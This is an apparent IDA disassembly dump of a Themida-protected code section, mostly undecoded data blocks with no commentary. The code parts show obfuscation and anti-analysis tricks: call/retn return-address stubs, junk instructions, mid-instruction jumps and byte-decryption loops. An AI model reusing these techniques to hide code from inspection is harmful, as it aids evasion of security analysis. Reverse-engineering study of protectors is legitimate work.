dd 1Bh, 13C35545h, 0C56A6452h, 0F964A70h, 8D89DBB7h, 60B27C5h
dd 0A815B5FFh, 8501060Eh, 60B21DDh, 31577B68h, 81D88B91h
dd 0AC842404h, 6A6EEDh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 15D5E3C3h, 0C57E557Dh, 1D858D0Ch
dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 33C4C355h, 9589675Dh, 60B0669h
dd 247D8D09h, 6650060Bh, 89C1A3BFh, 6A2404h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C0368DC3h
dd 0FFDE8B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0B590EA08h
dd 95896208h, 60B063Dh
; ---------------------------------------------------------------------------
loc_580A78: ; CODE XREF: Themida_:00580849j
popa
mov edi, [ebp+60B32F1h]
mov bx, 5238h
mov dword ptr [ebp+60B1009h], 3
mov [ebp+60B00C9h], edx
cmp dword ptr [ebp+60EA81Dh], 0
jz loc_580ADE
jmp loc_580AB3
; ---------------------------------------------------------------------------
inc ebp
cmp edx, eax
xchg edi, [esi]
das
push cs
adc cl, [ecx]
pop ss
pop edx
or al, 0C0h
dec eax
loc_580AB3: ; CODE XREF: Themida_:00580AA0j
jmp loc_580AF9
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_580AC3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580AC3 proc near ; CODE XREF: Themida_:00580ABBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_580AC3 endp
; ---------------------------------------------------------------------------
push ebx
mov ds:29883645h, al
popf
sub [ebx], ebx
or eax, [esi]
loc_580ADE: ; CODE XREF: Themida_:00580A9Aj
; Themida_:00580AF5j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_580ADE
jmp short loc_580B2F
; ---------------------------------------------------------------------------
loc_580AF9: ; CODE XREF: Themida_:00580645j
; Themida_:loc_580AB3j ...
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_580AF9
jmp short loc_580B2F
; ---------------------------------------------------------------------------
loc_580B14: ; CODE XREF: Themida_:00580B2Bj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_580B14
jmp short $+2
loc_580B2F: ; CODE XREF: Themida_:00580AF7j
; Themida_:00580B12j
mov eax, eax
movsx ebx, ax
mov ebx, [ebp+60B1991h]
push 0
push edi
call sub_580B45
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580B45 proc near ; CODE XREF: Themida_:00580B3Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_580B45 endp
; ---------------------------------------------------------------------------
db 0D2h, 0B2h, 27h
dd 93AD6ED7h, 0FDBD897Eh, 83060B0Ah, 0B1009BDh, 850F0306h
dd 49Eh, 75BCEB81h, 0BD8318DEh, 60EA81Dh, 8B840F00h, 6A000004h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 435EC351h, 0C0D77906h, 0CBD9D29h, 0B5FF060Bh
dd 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 95C35343h, 373F5363h, 83D95FFh, 9D8B060Bh, 60B1AC5h
dd 2B61B589h, 0B58B060Bh, 60EA811h, 0FE9h, 1A983500h, 9A5FECD0h
dd 84BB3DCh, 24AFDDA8h, 14E59D8Bh, 6C7060Bh, 10001h, 0A6399DBFh
dd 5060964Dh, 9E852h, 9A210000h, 3F16970Eh, 5A748110h
dd 6E8310Fh, 28000000h, 0BF2D6DAh, 585A5F20h, 56535061h
dd 5F5BDE8Bh, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 55F710E5h, 0C6234100h, 1DB5FF97h
dd 0F060EA8h, 689h, 0B1B58900h, 0FF060B07h, 0B064195h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0B5A850FFh, 8BE8D690h, 0B0509BDh, 7E806h
dd 54000000h, 0E112D6BAh, 59BD8983h, 5F060B13h, 0A811B58Bh
dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 3153DDC3h, 9D8BC856h, 60B0E9Dh, 19059589h
dd 858B060Bh, 60B121Dh, 29DD9589h, 8689060Bh, 0C4h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 98C35545h, 0E5BA9D04h
dd 0D0E8FD9Ch, 6860F0Ah, 89000000h, 0B0B318Dh, 4D958B06h
dd 31060B17h, 0B04B595h, 4C28306h, 68F0Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
mov di, 4E48h
mov [eax+20h], edx
push 0
push ebp
call sub_580D52
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580D52 proc near ; CODE XREF: Themida_:00580D4Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_580D52 endp
; ---------------------------------------------------------------------------
pop ecx
or [ebp+0EBAEE85h], ecx
push es
push 0
push eax
call sub_580D75
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580D75 proc near ; CODE XREF: Themida_:00580D6Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_580D75 endp
; ---------------------------------------------------------------------------
aas
add [edi-76h], edi
adc cl, ds:0B7547B11h
mov bx, 7C5Eh
mov [esi+0B8h], eax
push 0
push ecx
call sub_580DA4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580DA4 proc near ; CODE XREF: Themida_:00580D9Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_580DA4 endp
; ---------------------------------------------------------------------------
xchg eax, edi
cdq
mov ebx, [ebp+60B08B1h]
push 0
push 0
push ebp
call sub_580DC9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_580DC9 proc near ; CODE XREF: Themida_:00580DC1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_580DC9 endp
; ---------------------------------------------------------------------------
db 77h, 48h, 0CFh
dd 3F0CA72Ah, 10E82A76h, 44000000h, 0AA37B579h, 0CD73ADCEh
dd 5297592h, 8A9C0363h, 0B5FF5BDDh, 60EA81Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6BC35545h, 0D9B70FC8h
dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 44A6EC3h, 8D01CBC7h, 60B3355h, 0EE950h
dd 9C040000h, 8EBD55D2h, 0F08318A6h, 0EED8B1AAh, 6A243489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 8C1AC351h, 0B5FFF8D2h, 60EA81Dh, 0B70FF88Bh
dd 0F595FFF8h, 66060B00h, 9FBDDB81h, 2191BD83h, 0F00060Bh
dd 5184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0D098DBFAh, 29C9B589h, 5096060Bh
dd 6A96DE8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 6EC6C350h, 6FBE066Eh, 6690D367h
dd 0B5FFFE8Bh, 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 7AC35343h, 9B9ABCF8h, 8195FF10h, 0E8060B12h
dd 0Eh, 9FFA071Ah, 6B1E1CF1h, 0D2703D81h, 85094EC1h, 60B2001h
dd 1DB5FF5Bh, 0F060EA8h, 95FFDBBFh, 60B0B8Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8DC35040h, 15520AECh
dd 0BD834614h, 60B17F1h, 86840F02h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0CDDEC350h, 95E9AB4Fh, 6060A4AAh, 6E9h, 0CFB9A600h
dd 2905B095h, 0B298195h, 0CE96106h, 4D000000h, 0EA94D76Dh
dd 0FCFE7CE4h, 6143BA0Bh, 2EC5858Bh, 8F0F060Bh, 6, 13BD9D29h
dd 0C6060Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 92111266h, 8BF9DC91h, 0B151DBDh
dd 0B985C706h, 60B06h, 0F000000h, 49E9D9BFh, 6AFFFFF2h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8B21C357h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 8BE18CDFh, 0B0BC59Dh
dd 0A9858D06h, 0F060B28h, 38Fh, 0F98B6600h, 0BF665750h
dd 895F3E82h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 6AEEC3h, 7E18D89h, 6A060Bh, 261BD0Bh
dd 858D060Bh, 60F5116h, 0DB9FBF66h, 6A05C083h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 1140C350h, 72DD1DD0h, 89601B51h, 0B15C59Dh, 61F38A06h
dd 0BA34BF50h, 4895265h, 0AD850124h, 6A060B02h, 38B0F00h
dd 80000000h, 6A38C3h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 49C35141h, 0CDABE4Bh, 68E0F40h, 1000000h
dd 0B0CE5B5h, 2195FF06h, 6A060B2Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D7F6C355h
dd 0E5BD8B77h, 8D060B04h, 0EA7B08Dh, 0EF816606h, 0D1FF209Ch
dd 7E9h, 0EAF4BA00h, 0DA267E44h, 0B19BD83h, 0F01060Bh
dd 4D85h, 0BA606000h, 13EE3496h, 8D2B61FCh, 60B0F31h, 89026A61h
dd 0B06299Dh, 8B665006h, 240489D8h, 6D18D01h, 95FF060Bh
dd 60B0F15h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 15C35343h, 0AE0E5344h, 41E972FDh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 60F5120h
push 0
push eax
call sub_5811D6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5811D6 proc near ; CODE XREF: Themida_:005811CEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5811D6 endp
; ---------------------------------------------------------------------------
dw 0FEB9h
dd 0F847F917h, 6E8B843h, 8000000h, 68CF565Eh, 7E9A3h, 95CE0000h
dd 3A4436A9h, 8B665F68h, 0BE9F8h, 35F10000h, 0E1E08F6Dh
dd 7FD9DB81h, 14E812h, 0CFC40000h, 49D7C8F6h, 2861CB1Bh
dd 4E9C001Ah, 7E9E9B18h, 0B6035D8h, 0B17959Dh, 0A9BD8B06h
dd 61060B06h, 93858D5Bh, 31060E92h, 0B06DD95h, 0ECBB5006h
dd 8953290Ah, 0D5BF2404h, 640D3FFFh, 35FFh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 98AAD1C3h, 0F60973A9h, 64442952h, 2589h, 95890000h
dd 60B19C5h, 66D85FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 29A97EC3h, 54A47BC1h
dd 0BE9AEh, 0C1030000h, 0AFC6F8Dh, 2129C9C2h, 6AFF6A35h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 8ECBC353h, 16EF90E4h, 5753CF47h, 7ADCBB66h
dd 0C9B5FF5Bh, 6A060B19h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 2BAFC350h, 0CB71D67Bh
dd 9743BBD7h, 95FF715Fh, 60B2411h, 112E9h, 1DBD0B00h, 0B0060B21h
dd 519D0900h, 0E6060B2Fh, 1DBD8B70h, 0E4060B01h, 0F613C71h
dd 0F283h, 850FF500h, 0
; ---------------------------------------------------------------------------
movzx ecx, al
call sub_581373
or bh, ds:0D1DBB90Ah[ebx*2]
or al, 1
push cs
dec esp
jg short near ptr loc_58139A+2
cmp ds:7F08288Fh, esp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_581373 proc near ; CODE XREF: Themida_:0058135Bp
jmp sub_58137D
sub_581373 endp
; ---------------------------------------------------------------------------
dd 0D3208B03h
db 0BBh
; =============== S U B R O U T I N E =======================================
sub_58137D proc near ; CODE XREF: sub_581373j
pop ebx
mov edx, 6
mov [ebp+60B0329h], eax
mov eax, ecx
mov [ebp+60B18A9h], ecx
mov edi, [ebp+60B0139h]
shr eax, 4
loc_58139A: ; CODE XREF: Themida_:0058136Bj
movsx ebx, bx
mul dx
mov edi, [ebp+60B025Dh]
sub ecx, eax
mov ebx, 2F8EBCC8h
mov edx, ecx
mov [ebp+60B2085h], edx
jmp $+5
mov eax, [ebp+60B2075h]
call near ptr loc_5813D1+1
insd
adc al, 0DEh
fcom dword ptr ds:31321AC2h
xchg ecx, ecx
movsb
loc_5813D1: ; CODE XREF: sub_58137D+43p
repne pop edi
sub_58137D endp ; sp-analysis failed
add eax, 7
or [ebp+60B32D5h], edi
add eax, 0
and bx, 0A203h
cmp edx, eax
jnb loc_5813FE
jnp $+6
jmp loc_581443
; ---------------------------------------------------------------------------
jge loc_5813FE
stc
loc_5813FE: ; CODE XREF: Themida_:005813E6j
; Themida_:005813F7j
mov ecx, [ebp+60B0869h]
jmp loc_58141C
; ---------------------------------------------------------------------------
db 0FCh, 0FBh, 7
dd 21495DF5h, 8ACDDBD5h, 0D11621D8h, 32374D21h
; ---------------------------------------------------------------------------
loc_58141C: ; CODE XREF: Themida_:00581404j
and ecx, 1
jz loc_581443
and dword ptr [ebp+60B0869h], 0FFFFFFFEh
jz $+6
mov [ebp+60B2075h], edx
add [ebp+60B2255h], eax
jmp $+5
loc_581443: ; CODE XREF: Themida_:005813F2j
; Themida_:0058141Fj
lea esi, [ebp+60ED704h]
push 0
push ebp
call sub_581454
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581454 proc near ; CODE XREF: Themida_:0058144Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_581454 endp
; ---------------------------------------------------------------------------
add esp, [ebx-58BB2602h]
mov dh, 66h
sbb ebx, 6A911Ah
push 0
push ebp
call sub_58147D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58147D proc near ; CODE XREF: Themida_:00581475p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_58147D endp
; ---------------------------------------------------------------------------
db 61h, 16h, 11h
dd 219D75EEh, 0F95670E1h, 8D58589h, 0FE9060Bh, 0AA000000h
dd 133EA3C3h, 643B29F3h, 737C47BDh, 95FF1772h, 60B32DDh
dd 3820B6BBh, 0A48B974h, 0BD890000h, 60B0209h, 0DE9h, 7039F000h
dd 6819171Eh, 54889E5Dh, 0E18397E2h, 0F337BFFCh, 6AFC3D0Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 7949C355h, 699DED40h, 0B8FCh, 9D8B0000h
dd 60B035Dh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0ADFB32C3h, 0A0DC215Eh, 56561BCCh
dd 12E8h, 294F1B00h, 320D8D3Fh, 5D52821Ah, 0F9A7DDB0h
dd 5BDF3E37h, 33AD5B5Fh, 3E8D1C2h, 4E983D0h, 8D89F475h
dd 60B2B1Dh, 22F9BD31h, 0E857060Bh, 8, 83ACEDE9h, 0FE15DCA4h
dd 6E9h, 2B017300h, 5B4617C5h, 880D5Fh, 0E8BB0000h, 60032D58h
dd 8D8BEBB6h, 60B08D5h, 4D958B61h, 0B3060B17h, 198D8B2Eh
dd 6A060B01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 5500C353h, 6E8C1E3h, 9D000000h
dd 47D5A5E5h, 61B58984h, 5B060B27h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 52006AFFh, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 12E9E9DFh, 0B8000000h, 0EBF114DEh, 0AA096F40h, 222BB820h
dd 36B51EDEh, 0BD83F938h, 60B29BDh, 6A840F00h, 53000000h
dd 12E1BD8Bh, 0B85B060Bh, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_581647
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581647 proc near ; CODE XREF: Themida_:0058163Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_581647 endp
; ---------------------------------------------------------------------------
popa
mov ebx, [ebp+60B0EB5h]
lea ecx, [ebp+60B4DD7h]
cld
mov ebx, [ebp+60B2939h]
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_581678
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581678 proc near ; CODE XREF: Themida_:00581670p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_581678 endp
; ---------------------------------------------------------------------------
dd 0FDCC8244h, 659D8B58h, 8B060B1Ah, 0B20E1BDh, 9BD8306h
dd 60B10h, 4A9840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 6A0C24C3h, 0E5B2985Dh
dd 1009BD83h, 0F01060Bh, 49584h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0B59D8989h
dd 83060B21h, 0B1009BDh, 860F0306h, 430h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 60C35242h, 4A72CCE9h
dd 8D896210h, 60B18F5h, 0D98C6660h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 7BC35747h, 8680BB3Eh, 8192639Eh
dd 0A6824CBh, 399D0964h, 80060B2Bh, 6A04E1h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 11B58BC3h
dd 8EF0C7F3h, 0C90A27C3h, 153840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 7C0528C3h
dd 858BBB89h, 60B317Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 2DC35545h, 0B67F1D2Ah, 1AB36011h, 5A5EE81h
dd 89613612h, 0B0809BDh, 0ED853306h, 8B060B06h, 0B069D9Dh
dd 8E95006h, 7B000000h, 3EB8ABEh, 896B5CA4h, 5F522404h
dd 8589006Ah, 60B02DDh, 0DFC76768h, 6E8ADh, 3BFF0000h
dd 5A4984E2h, 8E9h, 0D6F9D400h, 1584AE97h, 4815BD6h, 3F3C9824h
dd 50006A52h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0CF3CFCA9h, 0BD899F7Eh, 60B02D5h, 3D195FFh
dd 14E9060Bh, 0E6000000h, 0DE1F3816h, 19EE0DF1h, 9F31BA41h
dd 0DE013CAEh, 89546BA3h, 0EA81D85h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4CBA2A78h
dd 8934D34Bh, 0B0D0995h, 0D7816606h, 0DAE951F6h, 6A000001h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 2664C350h, 7A7D18D0h, 60059A6Eh, 10759501h
dd 8589060Bh, 60B02E5h, 15858B61h, 6A060EA8h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 9C86C357h, 6D8D01D4h, 0C7060B13h, 1800h, 13E900h, 0DD750000h
dd 0ED07A31Ah, 53FDA90Ah, 8C97D4D1h, 59D75859h, 19B58B81h
dd 89060EA8h, 0B0E9DBDh, 8BACB706h, 0B06E185h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 81A85C73h, 0BB1180DCh, 7C3CCB89h, 6A0689h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 43E788C3h
dd 1A3B97D9h, 1D9D8B11h, 0F9060B15h, 317D858Bh, 0FE9060Bh
dd 0AA000000h, 21366CE3h, 0BFE5AF44h, 18C70BA7h, 816680EAh
dd 89F22CDBh, 50960446h, 0FBB96660h, 38B0F6Ah, 66000000h
dd 9661DE8Bh, 0C1BD2960h, 0E8060B06h, 9, 0F303C862h, 4F334E99h
dd 9DD881B1h, 5A533A19h, 15B5FF61h, 68060EA8h, 920F6EDFh
dd 20240481h, 6A6E0F95h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 88D3C351h, 1BB2BE73h
dd 51C8209Ah, 292D9589h, 858D060Bh, 60EA81Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h, 36B86509h
dd 509C4245h, 0F88A5250h, 0B060310Fh, 9DBE66DEh, 585A61F2h
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 276BC353h, 14BB2276h, 0D195FF9Ch
dd 89060B03h, 0B2189BDh, 6A6106h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 8293B1C3h, 0C7B675D1h
dd 0B100985h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 8A66B6BAh, 1DBD83FEh
dd 60EA8h, 52840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0B56731C3h, 0B50997D5h
dd 60B27DDh, 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 83E06193h, 0BB940FF8h
dd 3F6B4BA7h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 81C08B00h, 8E2ADF7h, 6E95Fh, 6700000h, 1CCDADD8h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 65C35343h, 0BD836AC9h
dd 60B1009h, 8850F03h, 83000004h, 0EA81DBDh, 840F0006h
dd 3FBh, 5718D89h, 0B5FF060Bh, 60EA81Dh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 59C35343h, 0F4B62A9h
dd 286h, 0E945B300h, 10h, 10F765DEh, 0E41A509h, 3E97668Ch
dd 20BF883Fh, 83D95FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0CAC4FCC3h, 3D858940h
dd 8B060B10h, 0EA811B5h, 6860F06h, 89000000h, 0B1A858Dh
dd 106C706h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 3E6EC353h, 0FDE7C230h
dd 0C9958931h, 50060B0Dh, 28D0Fh, 0F88B0000h, 0FC243489h
dd 0A81DB5FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h
dd 0E13DEB81h, 64195FFh, 0CE8060Bh, 48000000h, 51B5CB7Fh
dd 83D7E214h, 0E95F4F21h, 13h, 16AC8A59h, 40EF6AB6h, 0A1BE8043h
dd 0C0CB2C0Eh, 5B29F951h, 0A811B58Bh, 19BB060Eh, 8B2CC8E3h
dd 0B121D85h, 8DEB8006h, 0C48689h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 36060C3h
dd 0B16318Dh, 61F18B06h, 174D958Bh, 6A060Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 155164C3h
dd 4C28391h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 3AC35141h, 0F2C55C7Eh, 0B82F18h, 0CE9h, 9B1D6E00h
dd 0BBED7EADh, 0DC12D329h, 205089CBh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0EDC35747h, 4556E474h, 0D88EB7A2h
dd 8DDC8AA5h, 0EBAEE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 8E9AA192h, 89501CC5h
dd 0B0BADBDh, 86895F06h, 0B8h, 16A59D8Bh, 6A060Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0FE09EB08h
dd 9531A9E7h, 60B2B79h, 0A81DB5FFh, 12E9060Eh, 26000000h
dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh, 1595FF4Ch
dd 6A060B0Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 1CD6C352h, 4BFCBE15h, 0F80C5023h
dd 24348950h, 1DB5FFF5h, 3060EA8h, 0B01B5BDh, 8E906h, 62470000h
dd 29B6C709h, 95FF2480h, 60B00F5h
dd 0C860Fh, 830F0000h, 6, 0D09BD8Bh, 0BD83060Bh, 60B2191h
dd 27840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 6B49C355h, 8B605250h
dd 895F61C6h, 0B5FF2434h, 60EA81Dh, 128195FFh, 6A060Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 5FA085C3h, 0FFDBFCAEh, 0EA81DB5h, 552BBF06h, 95FF0F0Dh
dd 60B0B8Dh, 17F1BD83h, 0F02060Bh, 7484h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0B5896F05h, 60B2E65h, 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3CDCFDC3h
dd 0FC1B7C2Fh, 0C6B136h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 0C6E14BDh, 8FC38166h
dd 0B985C7B6h, 60B06h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CBF0C351h
dd 11DE3FE4h, 85F381E6h, 0F21D8A5h, 68Eh, 0C9BD8B00h, 0E9060B31h
dd 0FFFFF2FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0F8C35343h, 0E90FC4DFh, 7, 0D527205Fh, 8B406FC1h
dd 0D8BF0FC1h, 28A9858Dh, 8A0F060Bh, 16h, 11E9h, 0C94CA000h
dd 79C388C3h, 82AD57EAh, 0B37F40DBh, 8B50EEFCh, 240489FAh
dd 1B4D8589h, 6A060Bh, 0D2A4BF66h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AAFE82C3h
dd 510386DFh, 858DF33Ah, 60F60FEh, 83FCD98Bh, 6A05C0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 6214D1C3h, 9D0BFC88h, 60B2AE1h, 52505050h, 310F5250h
dd 310F585Ah, 8E0Fh, 585A0000h, 2404895Fh, 5519529h, 6A060Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1FC35545h
dd 50F0A907h, 6A7B2933h, 9531FC00h, 60B0E85h, 2F2195FFh
dd 61BF060Bh, 8D110C25h, 0EA7B08Dh, 0D6BF6606h, 6AD1FFECh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0BC3C353h, 66485C93h, 9589FE8Bh, 60B0CBDh
dd 0B19BD83h, 0F01060Bh, 7D85h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0BBC79E82h
dd 5B70AC8Eh, 0E960026Ah, 0Dh, 7F3ED737h, 69FEB321h, 0C25789B0h
